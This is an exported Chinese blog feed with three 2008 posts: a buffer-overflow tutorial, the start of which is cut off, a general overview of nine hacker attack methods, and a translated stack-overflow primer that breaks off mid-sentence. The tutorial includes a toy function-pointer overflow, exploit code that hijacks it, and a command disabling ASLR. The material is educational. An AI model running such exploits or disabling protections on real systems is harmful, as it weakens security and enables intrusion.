pf=(PF)buff;<br>int result=0;<br>result=pf(129,127);<br>printf(&quot;result=%i\n&quot;,result);<br>return 0;<br>}<br>我们直接把 add函数对应的机器码写到 buff数组中，然后直接从 buff中运行 add功能。<br>编译运行结果为：<br>result=256<br>本 质 上 来 看 上 面 的 &quot;\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3&quot;就 是 一 段<br>shellcode。shellcode 的名称来源和Unix 的Shell 有些关系，早期攻击程序中shellcode<br>的功能是开启一个新的shell，也就是说溢出攻击里shellcode的功能远远不像我们演示中<br>这么简单，需要完成更多的功能。无论 shellcode完成什么功能，其本质就是一段能完成更<br>多功能的机器码。当然要做更多事情的 shellcode的编写需要解决很多这里没有遇到的问<br>题，如：<br>1. 函数重定位<br>2. 系统调用接口<br>3. 自身优化<br>4. 等等。</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">程序进程空间地址定位<br>这个标题比较长，得要解释一下。这里有一个经常会混淆的概念要澄清一下，程序的源代码<br>称为程序源代码，源代码编译后的二进制可执行文件称为程序，程序被运行起来后内存中和<br>他相关的内存资源和CPU资源的总和称为进程。程序空间其实指的是进程中内存布局和内存<br>中的数据。再通俗点就是程序被运行起来时其内存空间的布局。<br>这点需要记住：一个程序被编译完成后其运行时内部的内存空间布局就已经确定。这个编译<br>好的二进制文件在不同时间，不同机器上（当然操作系统得是一样的）运行，其内存布局是<br>完全相同的（一些特例除外，后面会说到）。这就是内存空间地址定位的基础！<br>写一程序 a.c如下：<br>#include&lt;stdio.h&gt;<br>char * p=&quot;Hello&quot;;<br>int a=10;<br>int main(int argc,char * argv[])<br>{<br>int b[0];<br>char * f=malloc(8);<br>printf(&quot;p content addr:%p\n&quot;,p);<br>printf(&quot;p point addr:%p\n&quot;,&amp;p);<br>printf(&quot;a addr:%p\n&quot;,&amp;a);<br>printf(&quot;b addr:%p\n&quot;,&amp;b);<br>printf(&quot;f content addr:%p\n&quot;,f);<br>printf(&quot;main fun addr:%p\n&quot;,&amp;main);<br>}<br>编译: gcc a.c -o a #Win 下用cl a.c 编译，以下以Linux 为例，Win系统同样适用<br>在我的 Ubuntu 7.04上执行：<br></span><wbr />[email=[ft=#00ff00,3,黑体]cloud@dream:~/Work/cloud$</span><wbr />]cloud@dream:~/Work/cloud$[/email]<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;"> ./a<br>p content addr:0x804852c<br>p point addr:0x80496a8<br>a addr:0x80496ac<br>b addr:0xbffff9e4<br>f content addr:0x804a008<br>main fun addr:0x80483b4<br>这里我们可以看到我们各变量在内存中的地址。<br>过几分钟再执行一次：<br></span><wbr />[email=[ft=#00ff00,3,黑体]cloud@dream:~/Work/cloud$</span><wbr />]cloud@dream:~/Work/cloud$[/email]<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;"> ./a<br>p content addr:0x804852c<br>p point addr:0x80496a8<br>a addr:0x80496ac<br>b addr:0xbffff9e4</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">f content addr:0x804a008<br>main fun addr:0x80483b4<br>看两次执行时这些变量在内存中的地址是完全一样的。<br>(如果不一样的话表示你的Kernel作了栈随机处理，这个机制是专门防范溢出用的，对安全<br>而言这个机制非常有用，但对你学习而言则带来不少麻烦，为了学习方便，可以先用以下方<br>法禁用内核的这个功能：sudo root,然 echo 0 &gt;/proc/sys/kernel/randomize_va_space ；<br>如果是RedHat系列，可以通过echo 0 &gt; /proc/sys/kernel/exec-shield-randomize禁用。)<br>那么我们的程序执行起来时内存布局是啥样的呢？这点可以通过nm、dumpbin.exe、IDA Pro<br>等工具看到，这里是 IDA Pro对可执行二进制程序 a进行分析的结果：<br>从中我们可以看到内存空间被分为多个段，其中.text 段存放程序代码，起始地址为<br>0x8048310，结束地址为 0x8048508。a程序执行结果中输出了：<br>main fun addr:0x80483b4<br>可见 main函数起始地址为 0x80483b4，正好落在.text段内。<br>有空你可以把a程序输出中各个地址拿到这里来对对，看看各个变量都在什么段里，至于各<br>个段存有什么用，这里就不一一讲了，有空的话你可以 google一下。<br>另外需要说明的是栈空间的结束地址是固定的，在 Linux下为：0xc0000000，a 程序执行时<br>输出的：<br>b addr:0xbffff9e4<br>这个地址就是在栈中。</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">为什么栈的起始地址不固定而是结束地址固定？这个就需要你查查手边x86 汇编手册关于<br>栈和函数调用的章节了。<br>以上内容是为了让你对程序空间有个直观的认识，如果不是很清楚也没有关系，这基本不影<br>响后面的阅读。<br>好了到现在我们基础知识已经够用了，来看看这个程序 space.c：<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>int add(int x,int y)<br>{<br>return x+y;<br>}<br>int mul(int x,int y)<br>{<br>return x*y;<br>}<br>typedef int (* PF)(int,int);<br>int main(int argc,char *argv[])<br>{<br>PF pf; /* 函数指针 pf */<br>char buff[4]; /* buff 溢出后将覆盖pf */<br>int t=0;<br>pf=(PF) &amp;mul; /* 函数指针默认指向 mul函数的起始地址 */<br>printf(&quot;addr add fun : %p\n&quot;,&amp;add);<br>printf(&quot;addr mul fun : %p\n&quot;,&amp;mul);<br>printf(&quot;pf=0x%x\n&quot;,pf);<br>if(argc &gt;1)<br>{<br>memcpy(buff,argv[1],8);<br>}<br>printf(&quot;now pf=0x%x\n&quot;,pf);<br>t=pf(4,8);<br>printf(&quot;4*8=%i\n&quot;,t);<br>}<br>程序开始我们定义了 PF pf;接着定义了char buff[4];<br>此时程序栈中空间片断如下：<br>[ pf 值，占4 字节 ] [ buff的 4字节 ]<br>高地址 ←-------- 低地址</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">这样 buff操作发生溢出则会覆盖 pf的值，而 pf中我们默认存放 mul函数的起始地址，并<br>且我们后面会通过 t=pf(4,8);来执行其指向地址的机器码。<br>默认情况下如果不指定命令行参数，那么不会执行memcpy操作，此时pf中存放mul函数起<br>始地址，pf(4,8)时会执行 mul函数。<br>这里我们明确强调一点，所谓函数就是程序运行时内存中存放的对应机器码，函数名如add<br>和&amp;add 都是指其对应机器码的起始内存地址。<br>执行一下 space程序看看输出：<br></span><wbr />[email=[ft=#00ff00,3,黑体]cloud@dream:~/Work/cloud$</span><wbr />]cloud@dream:~/Work/cloud$[/email]<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;"> ./space<br>addr add fun : 0x8048374<br>addr mul fun : 0x804837f<br>pf=0x804837f<br>now pf=0x804837f<br>4*8=32<br>输出非常正常，add 起始地址为0x8048374，从这个地址开始放着 add函数对应的机器码；<br>mul 起始地址为0x804837f，pf 值为0x804837f，即 mul起始地址，pf(4,8)就是执行 pf所<br>指向地址的机器码，传入参数为 4和 8；最后输出4*8=32。<br>好戏开始了，我们指定一下命令行参数 aaaaABCD：<br></span><wbr />[email=[ft=#00ff00,3,黑体]cloud@dream:~/Work/cloud$</span><wbr />]cloud@dream:~/Work/cloud$[/email]<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;"> ./space ABCDABCD<br>addr add fun : 0x8048374<br>addr mul fun : 0x804837f<br>pf=0x804837f<br>now pf=0x44434241<br>段错误 (core dumped)<br>这次 buff发生了溢出，覆盖了 pf中的内容，现在 pf值为 0x44434241，最后程序崩溃。<br>为什么 pf值为 0x44434241呢？！<br>因为：<br>字符’A’对应的 ascii值为 0x41<br>字符’B’对应的 ascii值为 0x42<br>字符’C’对应的 ascii值为 0x43<br>字符’D’对应的 ascii值为 0x44<br>考虑到 x86内存中字节序为低位在前，反过来就像当于’ABCD 了’！<br>这表示什么？<br>这表示我们通过命令行利用溢出 buff指定了函数指针 pf 的值了，我们这里指定了<br>0x44434241，这样 pf(4,8)调用时，程序就转到了地址0x44434241，由于 0x44434241是无<br>效空间（对照上面的程序空间中段的分布，没有任何段包含了此地址就知道了），所以程序<br>最后崩溃 core dumped了。<br>用 gdb来看更直观：<br></span><wbr />[email=[ft=#00ff00,3,黑体]cloud@dream:~/Work/cloud$</span><wbr />]cloud@dream:~/Work/cloud$[/email]<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;"> gdb ./space</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(gdb) r aaaaABCD<br>Starting program: /mnt/sec/cloud/cloud/space aaaaABCD<br>addr add fun : 0x8048374<br>addr mul fun : 0x804837f<br>pf=0x804837f<br>now pf=0x44434241<br>Program received signal SIGSEGV, Segmentation fault.<br>0x44434241 in ?? ()<br>(gdb) p $eip<br>$2 = (void (*)()) 0x44434241 #eip 寄存器现在值为 0x44434241<br>(gdb)<br>现在我们已经通过指定命令行参数，利用溢出修改了程序的执行流程，但由于我们指定的地<br>址为无效地址导致程序崩溃。<br>我们现在已经知道如果我们指定 pf值为 0x8048374就会执行 add 函数，如果指定为<br>0x804837f，就会执行 mul函数 。<br>接下来就好办了，我们来写一个程序通过 execve来执行 space程序，给如下命令行参数：<br>./space aaaa\x74\x83\x04\x08<br>即有针对性的指定命令行参数来修改 pf 值为0x8048374，这样space 将调用 add函数，而<br>不是默认的 mul ！<br>/* exp.c */<br>#include&lt;stdio.h&gt;<br>int main(void)<br>{<br>char * a0=&quot;space&quot;;<br>unsigned char a1[128];<br>char * arg[]= {a0,a1,0};<br>a1[0]='a';<br>a1[1]='a';<br>a1[2]='a';<br>a1[3]='a';<br>a1[4]=0x74;<br>a1[5]=0x83;<br>a1[6]=0x04;<br>a1[7]=0x08;<br>a1[8]=0;<br>execve(&quot;./space&quot;,arg,0);<br>}<br></span><wbr />[email=[ft=#00ff00,3,黑体]cloud@dream:~/Work/cloud$</span><wbr />]cloud@dream:~/Work/cloud$[/email]<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;"> gcc exp.c -o e<br></span><wbr />[email=[ft=#00ff00,3,黑体]cloud@dream:~/Work/cloud$</span><wbr />]cloud@dream:~/Work/cloud$[/email]<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;"> ./e<br>addr add fun : 0x8048374<br>addr mul fun : 0x804837f</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">pf=0x804837f<br>now pf=0x8048374<br>4*8=12<br>看输出结果是 4+8的值 12了。<br>现在程序的流程被我们通过溢出并指定 add的内存地址来进行修改了。<br>我们这里设计到了地址空间定位，主要有两处：<br>1. buff 写入多长后会发生溢出。由于这里源程序就在我们手里，一看 PF pf;char buff<br>[4];就知道超过4 字节就将覆盖到pf 值了，但很多时候我们没有源程序，这就需要逆<br>向工程分析+动态调试来获取了。<br>2. 用于覆盖pf的数据应该是多少。我们这里用的是add函数的地址值 0x8048374，并且我<br>们用程序直接打印出了其地址，所以一看就知道了，但如果程序不是我们自己，同样需<br>要用逆向工程技巧+动态调试技巧来确定了。<br>好了，以上我们已经可以通过溢出来修改目标程序流程了，已经掌握了溢出利用的精髓。现<br>实生活中的溢出利用当然更复杂一点，需要更多的系统体系结构知识和N多的小技巧而已。<br>相信你以后会逐步了解到所谓溢出，无论是什么类型的溢出，根本上就涉及两个问题，用谁<br>去覆盖谁，概况一下就是通过一定技巧将指定的数据写入到指定内存中。比如上面我们就是<br>将指定数据 0x8048374写入到了 pf的值所占有的内存空间中。<br>推荐资料<br>如果你想进一步提高的话推荐如下资料：<br>《网络渗透技术》<br></span><wbr /><a href="http://www.douban.com/subject/1309230/" target="_blank"><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">http://www.douban.com/subject/1309230/</span><wbr /></a><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">《深入理解计算机系统（修订版）》<br></span><wbr /><a href="http://www.douban.com/subject/1230413/" target="_blank"><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">http://www.douban.com/subject/1230413/</span><wbr /></a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[新手]]></category>
<author><![CDATA[896376374@qq.com((*^__^*))]]></author>
<comments>http://896376374.qzone.qq.com/blog/1209658594#comment</comments>
<qz:effect>576</qz:effect>
<pubDate>Thu, 01 May 2008 16:16:34 GMT</pubDate>
<guid>http://896376374.qzone.qq.com/blog/1209658594</guid>
</item>

<item>
<title><![CDATA[全面分析黑客常用的九种攻击方法]]></title>
<link>http://896376374.qzone.qq.com/blog/1209657707</link>
<description><![CDATA[<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">许多上网的用户对网络安全可能抱着无所谓的态度，认为最多不过是被“黑客”盗用账号，他们往往会认为“安全”只是针对那些大中型企事业单位的，而且黑客与自己无怨无仇， 干嘛要攻击自己呢？其实，在一无法纪二无制度的虚拟网络世界中，现实生活中所有的阴险和卑鄙都表现得一览无余，在这样的信息时代里，几乎每个人都面临着安全威胁，都有必要对网络安全有所了解，并能够处理一些安全方面的问题，那些平时不注意安全的人，往往在受到安全方面的攻击时，付出惨重的代价时才会后悔不已。同志们要记住啊！防人之心不可无呀！ <br><br>为了把损失降低到最低限度，我们一定要有安全观念，并掌握一定的安全防范措施，禁绝让黑客无任何机会可趁。下面我们就来研究一下那些黑客是如何找到你计算机中的安全漏洞的，只有了解了他们的攻击手段，我们才能采取准确的对策对付这些黑客。 <br><br>1、获取口令 <br><br>这又有三种方法：一是通过网络监听非法得到用户口令，这类方法有一定的局限性，但危害性极大，监听者往往能够获得其所在网段的所有用户账号和口令，对局域网安全威胁巨大；二是在知道用户的账号后（如电子邮件@前面的部分）利用一些专门软件强行破解用户口令，这种方法不受网段限制，但黑客要有足够的耐心和时间；三是在获得一个服务器上的用户口令文件（此文件成为Shadow文件）后，用暴力破解程序破解用户口令，该方法的使用前提是黑客获得口令的Shadow文件。此方法在所有方法中危害最大，因为它不需要像第二种方法那样一遍又一遍地尝试登录服务器，而是在本地将加密后的口令与Shadow文件中的口令相比较就能非常容易地破获用户密码，尤其对那些弱智用户(指口令安全系数极低的用户，如某用户账号为zys，其口令就是zys666、666666、或干脆就是zys等)更是在短短的一两分钟内，甚至几十秒内就可以将其干掉。 <br><br>2、放置特洛伊木马程序 <br><br>特洛伊木马程序可以直接侵入用户的电脑并进行破坏，它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载，一旦用户打开了这些邮件的附件或者执行了这些程序之后，它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中，并在自己的计算机系统中隐藏一个可以在Windows启动时悄悄执行的程序。当您连接到因特网上时，这个程序就会通知黑客，来报告您的IP地址以及预先设定的端口。黑客在收到这些信息后，再利用这个潜伏在其中的程序，就可以任意地修改您的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等，从而达到控制你的计算机的目的。 <br><br>3、WWW的欺骗技术 <br><br>在网上用户可以利用IE等浏览器进行各种各样的WEB站点的访问，如阅读新闻组、咨询产品价格、订阅报纸、电子商务等。然而一般的用户恐怕不会想到有这些问题存在：正在访问的网页已经被黑客篡改过，网页上的信息是虚假的！例如黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器，当用户浏览目标网页的时候，实际上是向黑客服务器发出请求，那么黑客就可以达到欺骗的目的了。 <br><br>4、电子邮件攻击 <br><br>电子邮件攻击主要表现为两种方式：一是电子邮件轰炸和电子邮件“滚雪球”，也就是通常所说的邮件炸弹，指的是用伪造的IP地址和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的垃圾邮件，致使受害人邮箱被“炸”，严重者可能会给电子邮件服务器操作系统带来危险，甚至瘫痪；二是电子邮件欺骗，攻击者佯称自己为系统管理员（邮件地址和系统管理员完全相同），给用户发送邮件要求用户修改口令（口令可能为指定字符串）或在貌似正常的附件中加载病毒或其他木马程序（据笔者所知，某些单位的网络管理员有定期给用户免费发送防火墙升级程序的义务，这为黑客成功地利用该方法提供了可乘之机)，这类欺骗只要用户提高警惕，一般危害性不是太大。 <br><br>5、通过一个节点来攻击其他节点 <br><br>黑客在突破一台主机后，往往以此主机作为根据地，攻击其他主机(以隐蔽其入侵路径，避免留下蛛丝马迹)。他们可以使用网络监听方法，尝试攻破同一网络内的其他主机；也可以通过IP欺骗和主机信任关系，攻击其他主机。这类攻击很狡猾，但由于某些技术很难掌握，如IP欺骗，因此较少被黑客使用。 <br><br>6、网络监听 <br><br>网络监听是主机的一种工作模式，在这种模式下，主机可以接受到本网段在同一条物理通道上传输的所有信息，而不管这些信息的发送方和接受方是谁。此时，如果两台主机进行通信的信息没有加密，只要使用某些网络监听工具，例如NetXray for windows 95/98/nt，sniffit for linux 、solaries等就可以轻而易举地截取包括口令和帐号在内的信息资料。虽然网络监听获得的用户帐号和口令具有一定的局限性，但监听者往往能够获得其所在网段的所有用户帐号及口令。 <br><br>7、寻找系统漏洞 <br><br>许多系统都有这样那样的安全漏洞（Bugs），其中某些是操作系统或应用软件本身具有的，如Sendmail漏洞，win98中的共享目录密码验证漏洞和IE5漏洞等，这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏，除非你将网线拔掉；还有一些漏洞是由于系统管理员配置错误引起的，如在网络文件系统中，将目录和文件以可写的方式调出，将未加Shadow的用户密码文件以明码方式存放在某一目录下，这都会给黑客带来可乘之机，应及时加以修正。 <br><br>8、利用帐号进行攻击 <br><br>有的黑客会利用操作系统提供的缺省账户和密码进行攻击，例如许多UNIX主机都有FTP和Guest等缺省账户（其密码和账户名同名），有的甚至没有口令。黑客用Unix操作系统提供的命令如Finger和Ruser等收集信息，不断提高自己的攻击能力。这类攻击只要系统管理员提高警惕，将系统提供的缺省账户关掉或提醒无口令用户增加口令一般都能克服。 <br><br>9、偷取特权 <br><br>利用各种特洛伊木马程序、后门程序和黑客自己编写的导致缓冲区溢出的程序进行攻击，前者可使黑客非法获得对用户机器的完全控制权，后者可使黑客获得超级用户的权限，从而拥有对整个网络的绝对控制权。这种攻击手段，一旦奏效，危害性极大。</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[电脑爱好]]></category>
<author><![CDATA[896376374@qq.com((*^__^*))]]></author>
<comments>http://896376374.qzone.qq.com/blog/1209657707#comment</comments>
<qz:effect>576</qz:effect>
<pubDate>Thu, 01 May 2008 16:01:47 GMT</pubDate>
<guid>http://896376374.qzone.qq.com/blog/1209657707</guid>
</item>

<item>
<title><![CDATA[Generalities]]></title>
<link>http://896376374.qzone.qq.com/blog/1209657369</link>
<description><![CDATA[<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">Buffer Overflows介绍 <br>Generalities <br>大多数的缓冲溢出攻击都是通过改变程序运行的流程到入侵者植入的恶意代码，其主要目的是为了取得超级用户的shell。原理是相当简单的：将恶意指令存放在buffer中，这段指令可以得到进程的控制权，从而达到攻击的目的 <br><br>在这篇文档里我们主要介绍两项buffer overflow技术：stack overflows和heap overflows。 <br><br>Process memory <br>Global organization <br>当一个程序开始运行的时候，一些基本信息（指令，变量。。。）会事先装入内存，一个进程维护着它自己的一段内存空间，我们称为进程空间（上下文），它维护着进程所需要的代码段，堆栈段和数据段。 <br><br>. <br>在进程空间的高地址区域存放着进程相关的环境变量以及参数：env串，arg串，env指针（如图1.1). <br><br>. <br>之后的内存空间由两部分组成，stack和heap，它们都在进程运行的时候被分配。 <br><br>stack（栈）用来存放函数参数，局部变量，以及一些允许在一个函数调用之前找回stack的信息。。。stack遵循LIFO的原则（后进先出）来访问系统，并且向内存低地址方向增长。 <br><br>　 <br><br>动态分配的变量存放在heap区；通常，调用malloc函数用来返回一个指针指向一个heap区地址。malloc是用户层的动态分配内存的函数，它总是在heap区分配一段连续的内存空间。 <br><br>. <br>.bss和.data区存放全局变量，和一些静态变量（在编译的时候分配）。.data区包含了静态已初始化的数据，.bss区则包含了未初始化的数据。 <br><br>. <br>最后一个内存区域，.text，包含了程序指令代码和一些只读数据。 <br><br><wbr /><a href="http://www.e4gle.org/images/procmem.jpg" target="_blank"><img style="border:0;" src="http://www.e4gle.org/images/procmem.jpg" /></a><wbr /> <br>图 1.1: 进程空间组织图   <br><br>动口不如动手，我们举几个简单的例子可以让大家更好的理解，让我们看看每种变量不同存储方式： <br><br>heap <br>int main(){ <br>char * tata = malloc(3)&amp;#59; <br>... <br>} <br><br>tata是一个指针，它指向heap区的一段内存空间的起始地址。 <br><br>.bss <br>char global&amp;#59; <br>int main (){ <br>... <br>} <br><br>int main(){ <br>static int bss_var&amp;#59; <br>... <br>} <br><br>global和bss_var将存储在.bss区。 <br><br>.data <br>char global = 'a'&amp;#59; <br>int main(){ <br>... <br>} <br><br>int main(){ <br>static char data_var = 'a'&amp;#59; <br>... <br>} <br><br>global和data_var将存储在.data区. <br><br>函数调用 <br>我们现在来分析一下内存（stack）里函数调用过程的细节，并且试着理解有关实现机制。 <br><br>　 <br><br>在unix系统里，一个函数调用的过程可以分为以下三步： <br><br>准备堆栈: 保存当前栈帧指针。一个栈帧可以理解成堆栈里的一个逻辑单元，它描述一个函数的基本单元。一些函数需要的内存信息也被保存。 <br>调用: 函数的参数和返回地址被保存进堆栈，目的在于函数返回之后程序需要到哪里去继续执行 <br>返回(或结束): 恢复调用函数之前保存的原来的堆栈。 <br>. <br>下面一个简单的代码可以帮助大家理解以上介绍过程是如何工作的，并且这可以让更好掌握buffer overflow技术。 <br><br>让我们看看这段代码: <br><br>　 <br><br>[e4gle@redhat72 e4gle]$ cat e4glecall.c <br><br>　 <br><br>int e4glecall(int a, int b, int c){ <br>  int i=4&amp;#59; <br>  return (a+i)&amp;#59; <br>} <br><br>int main(int argc, char **argv){ <br>  e4glecall(0, 1, 2)&amp;#59; <br>  return 0&amp;#59; <br>} <br><br>我们现在用gdb来反汇编上面编译好的程序，目的是为了更透彻的说明以上步骤。这里涉及两个重要的寄存器：指向当前栈帧的EBP，和指向栈顶的ESP。 <br><br>首先，我们看看main函数: <br><br>(gdb) disassemble main <br>Dump of assembler code for function main: <br>0x8048448 ;:       push   %ebp <br>0x8048449 ;:     mov    %esp,%ebp <br>0x804844b ;:     sub    $0x8,%esp <br><br>以上的是main函数的开始部分。如果要详细了解一个函数的细节，可以看后面的e4glecall函数。 <br><br>0x804844e ;:     sub    $0x4,%esp <br>0x8048451 ;:     push   $0x2 <br>0x8048453 ;:    push   $0x1 <br>0x8048455 ;:    push   $0x0 <br>0x8048457 ;:    call   0x8048430 ; <br><br>e4glecall()函数的调用包含以上四个指令：三个参数压栈（反序排列），然后调用函数。 <br><br>0x804845c ;:    add    $0x10,%esp         <br><br>以上指令描述e4glecall()函数返回到main()函数：将堆栈指针指向返回地址，所以必须使堆栈指针增加，因为堆栈是向内存的低地址方向增长的。这样，我们返回到了初始的环境，也就时e4glecall()调用之前。 <br><br>0x804845f ;:    mov    $0x0,%eax <br>0x8048464 ;:    leave <br>0x8048465 ;:    ret <br>　 <br>... <br>                     <br>End of assembler dump. <br><br>最后两条指令用于main()函数的返回。 <br><br>. <br>好，现在让我们来看看e4glecall()函数： <br><br>(gdb) disassemble e4glecall <br>Dump of assembler code for function toto: <br>0x8048430 ;:  push   %ebp <br>0x8048431 ;:        mov    %esp,%ebp <br>0x8048433 ;:        sub    $0x4,%esp <br><br>以上代码是我们函数的初始阶段：保存当前环境（当前栈指针%ebp压栈），第二条指令使%ebp指向堆栈的顶端，第三条指令 <br><br>为函数调用准备足够的堆栈空间（一般为局部变量准备）。 <br><br>0x8048436 ;:        movl   $0x4,0xfffffffc(%ebp) <br>0x804843d ;:       mov    0xfffffffc(%ebp),%eax <br>0x8048440 ;:       add    0x8(%ebp),%eax <br>0x8048443 ;:       mov    %eax,%eax <br><br>这些是函数执行指令。 <br>0x8048445 ;:       leave <br>0x8048446 ;:       ret <br>0x8048447 ;:       nop <br>End of assembler dump. <br>(gdb) <br><br>以上指令是函数返回部分，第一条指令使%ebp和%esp指针恢复到初始化前的值（注意，不是调用函数之前的值，所以栈指针指向的地址仍旧低于e4glecall()的参数地址）。第二条指令安排指令寄存器，该指令寄存器在每次函数返回的时候被访问，用来指定该在哪条指令继续执行。 <br><br>. <br>以上的例子说明了在函数调用的时候堆栈的组织情况。在以后的介绍中，我们将比较关注内存分配上。假如一片内存区域被不小心破坏了，这就有可能使攻击者来扰乱堆栈，并且执行一些恶意代码。因为堆栈控制着函数的调用返回，也就是控制着程序的运行流程，通过扰乱堆栈来拿到程序的流程控制权就可以完成一次攻击了。 <br><br>　 <br><br>当一个函数返回时，下一条指令地址会从堆栈拷贝到EIP指针。因为这个地址是保存在堆栈的，所以如果我们能覆盖这个地址成新的地址的话，那么就有可能使程序在我们覆盖的新地址继续执行，我们再在此地址处放置我们的代码（称之为shellcode）或者此地址直接指向glibc库里面的一个函数指针（如system()），那么该程序就被我们控制了。 <br><br>我们现在来看一下缓冲区，缓冲区也是作为局部变量被分配在堆栈的，而缓冲区一般又是可以提交给用户去定制的，所以一般的堆栈攻击都以缓冲区为载体。 <br><br>缓冲区，以及它有哪些可利用的安全问题 <br>在c语言里，字符串，或者缓冲区，都可以以一个指针来描述，该指针通常指向一片内存区域的首地址。并且对于缓冲区来说 <br><br>都以出现NULL字节为缓冲区的结束标记，所以一个缓冲区的中间是不可能出现空字节的（这很重要）。也不能像计算内存空间那样计算buffer的大小，它的大小取决于字符的数量。 <br><br>. <br>现在让我们更详细地来看看buffer在内存中的组织。 <br>　 <br><br>首先，因为每个分配的缓冲区都是限制大小的，要防止所有的溢出攻击是相当困难的。这是我们经常讨论的，当strcpy函数用的不够谨慎，就可以使用户可以控制缓冲区，他可以拷贝一个大的缓冲区到另一个较小的缓冲区中，那么这时候就发生了缓冲溢出。 <br><br>　 <br><br>这里有一个内存的组织示意图：第一个例子是wxy缓冲区在内存的存储情况，第二个是两个连续的缓冲区wxy和abcde在内存中的存储情况。 <br><br><wbr /><a href="http://www.e4gle.org/images/membuf.jpg" target="_blank"><img style="border:0;" src="http://www.e4gle.org/images/membuf.jpg" /></a><wbr /> <br>图 1.2:buffer在内存中的存储   <br><br>. <br>注意一下右边的例子中，这里有两个未利用的字节，是因为内存中存储数据是以一个字（四个字节）对齐的。因而，一个6格字节的buffer就需要两个字（8个字节）的内存空间。这样实际上该buffer只用了6个字节，当然就有两个字节空着了。 <br><br>. <br>我们来看看以下程序示范了buffer的一些安全问题: <br>#include ; <br><br>int main(int argc, char **argv){ <br>  char jayce[4]=&quot;Oum&quot;&amp;#59; <br>  char herc[8]=&quot;Gillian&quot;&amp;#59; <br>   <br>  strcpy(herc, &quot;BrookFlora&quot;<wbr /><a href="http://bbs.chinaunix.net/images/smilies/icon_wink.gif" target="_blank"><img style="border:0;" src="http://bbs.chinaunix.net/images/smilies/icon_wink.gif" /></a><wbr />&amp;#59;//在redhat7.2上有些变化，需要提交更多的字节来覆盖jayce <br>  printf(&quot;%s\n&quot;, jayce)&amp;#59; <br>   <br>  return 0&amp;#59; <br>} <br>//redhat7.2似乎在两个buffer之间多分配了4个字节的内存空间，所以我们要修改一下测试程序。 <br>#include ; <br><br>int main(int argc, char **argv){ <br>  char jayce[4]=&quot;Oum&quot;&amp;#59; <br>  char herc[8]=&quot;Gillian&quot;&amp;#59; <br><br>  strcpy(herc, &quot;BrookFlorabcde&quot;<wbr /><a href="http://bbs.chinaunix.net/images/smilies/icon_wink.gif" target="_blank"><img style="border:0;" src="http://bbs.chinaunix.net/images/smilies/icon_wink.gif" /></a><wbr />&amp;#59;//bcde这四个字节是多覆盖的 <br>  printf(&quot;%s\n&quot;, jayce)&amp;#59; <br><br>  return 0&amp;#59; <br>} <br>我们测试一下： <br>[e4gle@redhat72 e4gle]$ ./buff <br>de <br>[e4gle@redhat72 e4gle]$ <br>效果是一样的：） <br>. <br>以上代码中的两个buffer在堆栈中的存储情况如图1.3所示。当向那个8个字节大小的buffer中拷贝十个字节的字符的时候，另一个buffer的内容就被改变了。 <br><br>　 <br><br>这就导致了缓冲溢出，下面是在strcpy调用之前和之后的内存组织图： <br><br><wbr /><a href="http://www.e4gle.org/images/membuf2.jpg" target="_blank"><img style="border:0;" src="http://www.e4gle.org/images/membuf2.jpg" /></a><wbr /> <br>图 1.3: Overflow consequences   <br><br>我们编译运行该程序: <br><br>[e4gle@sparc7 e4gle]$ gcc -o buff buff.c <br>[e4gle@sparc7 e4gle]$ ./buff <br>ra <br>[e4gle@sparc7 e4gle]$ <br>//这里我是用solairs7来测试的，这和体系是无关的，只是redhat7.2有些小小的区别（如上），我也懒得去改那个图了，原理都差不多。 <br>这种覆盖技术被广泛运用到缓冲溢出攻击当中. <br><br>堆栈溢出 <br>前面介绍了一些内存溢出的基本概念，现在我们看看堆栈溢出的具体原理。 <br><br>. <br>大部分的缓冲溢出攻击都是发生在堆栈，因为缓冲区就是在堆栈里定义的，而且攻击者更容易控制堆栈的数据。首先，我们 <br><br>介绍一般的执行恶意代码的方法（我们叫此恶意代码为shellcode，它能给我们一个root shell）。然后，我们举几个实例来 <br><br>说明。 <br><br>原理 <br>这里我们注意一下激活纪录这个概念。每当一个函数调用发生时，调用者会在堆栈中留下一个激活纪录，它包含了函数结束时返回的地址。攻击者通过溢出这些自动变量，使这个返回地址指向攻击代码。通过改变程序的返回地址，当函数调用结束时，程序就跳转到攻击者设定的地址，而不是原先的地址。这类的缓冲区溢出被称为“stack smashing attack”，是目前常用的缓冲区溢出攻击方式。 <br><br>另一个重要概念是EIP寄存器，它保存着程序要执行的下一条指令的地址，我们如果向控制程序的运行流程，就要使EIP保存我们给出的指令地址。 <br><br>　 <br><br>当一个程序在运行的时候，下一个执行指令的地址会被保存入堆栈，所以，如果我们成功修改这个值，那么我们就可以强制让 